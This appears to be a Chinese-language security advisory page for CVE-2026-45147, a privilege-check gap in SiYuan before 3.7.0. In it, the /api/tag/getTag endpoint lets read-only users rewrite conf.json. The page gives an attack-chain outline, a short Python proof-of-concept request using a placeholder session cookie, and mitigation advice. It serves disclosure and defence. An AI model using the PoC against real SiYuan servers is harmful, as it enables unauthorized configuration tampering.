IPBUF安全漏洞报告
English
CVE-2026-45147 CVSS 4.3 中危

SiYuan权限绕过导致配置修改漏洞 (CVE-2026-45147)

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-45147
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SiYuan

相关标签

权限绕过配置修改SiYuan访问控制缺陷CVE-2026-45147

漏洞概述

SiYuan是一款开源的个人知识管理系统。在3.7.0版本之前,该系统存在权限验证缺失漏洞。具体而言,`POST /api/tag/getTag`接口仅使用了`model.CheckAuth`进行基础身份验证,却未调用`model.CheckAdminRole`和`model.CheckReadonly`进行权限校验。由于该接口处理程序会执行配置写入操作(修改`model.Conf.Tag.Sort`并触发`model.Conf.Save()`),导致任何经过身份验证的用户(包括只读工作空间的RoleReader或RoleEditor账户)均可调用此端点并修改工作区的`conf.json`配置文件。该漏洞破坏了系统的完整性,已在3.7.0版本中修复。

技术细节

该漏洞的根本原因在于SiYuan后端在处理特定API请求时的权限校验逻辑存在缺陷。在3.7.0之前的版本中,`POST /api/tag/getTag`接口被注册时仅使用了`model.CheckAuth`中间件,这意味着系统仅验证请求者是否为已登录用户,而未进一步检查用户角色(如通过`model.CheckAdminRole`)或工作空间的只读状态(`model.CheckReadonly`)。然而,该接口的处理函数内部包含了修改系统配置的逻辑,具体涉及`model.Conf.Tag.Sort`属性的变更以及随后的`model.Conf.Save()`调用。`Save()`方法会原子性地重写整个工作区的`conf.json`配置文件。由于缺乏高阶权限控制,任何拥有普通身份验证凭据的用户(包括仅具备只读权限的`RoleReader`账户)均可利用此漏洞。攻击者可以通过构造包含恶意`sort`参数的POST请求,诱使服务器以系统级权限修改配置文件,从而破坏系统的完整性或导致服务异常。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统为SiYuan知识管理系统,并确认版本低于3.7.0。
STEP 2
步骤2: 获取低权限凭证
攻击者注册或获取一个低权限账户(如RoleReader或只读工作空间的RoleEditor),获取有效的Session ID。
STEP 3
步骤3: 发送恶意请求
攻击者构造包含恶意`sort`参数的POST请求发送至`/api/tag/getTag`接口,利用低权限Session进行认证。
STEP 4
步骤4: 触发配置篡改
由于服务端缺失管理员权限校验,系统接收请求并调用`model.Conf.Save()`,原子性地重写`conf.json`配置文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://localhost:6806/api/tag/getTag" # Cookies representing a low-privilege authenticated user (e.g., RoleReader) # Replace 'YOUR_SESSION_TOKEN_HERE' with a valid session cookie cookies = { "siyuan_session_id": "YOUR_SESSION_TOKEN_HERE" } # The 'sort' argument is used to mutate model.Conf.Tag.Sort # The payload structure depends on the internal handling, but sending a modified sort triggers the write payload = { "sort": "modified_value_or_structure" } try: # Send POST request to the vulnerable endpoint response = requests.post(target_url, json=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully. Check if conf.json was modified.") print("[+] Response:", response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

SiYuan < 3.7.0

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用非必要的外部网络访问,或通过WAF(Web应用防火墙)拦截对`/api/tag/getTag`接口的POST请求,同时密切监控工作区配置文件`conf.json`的异常变更。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表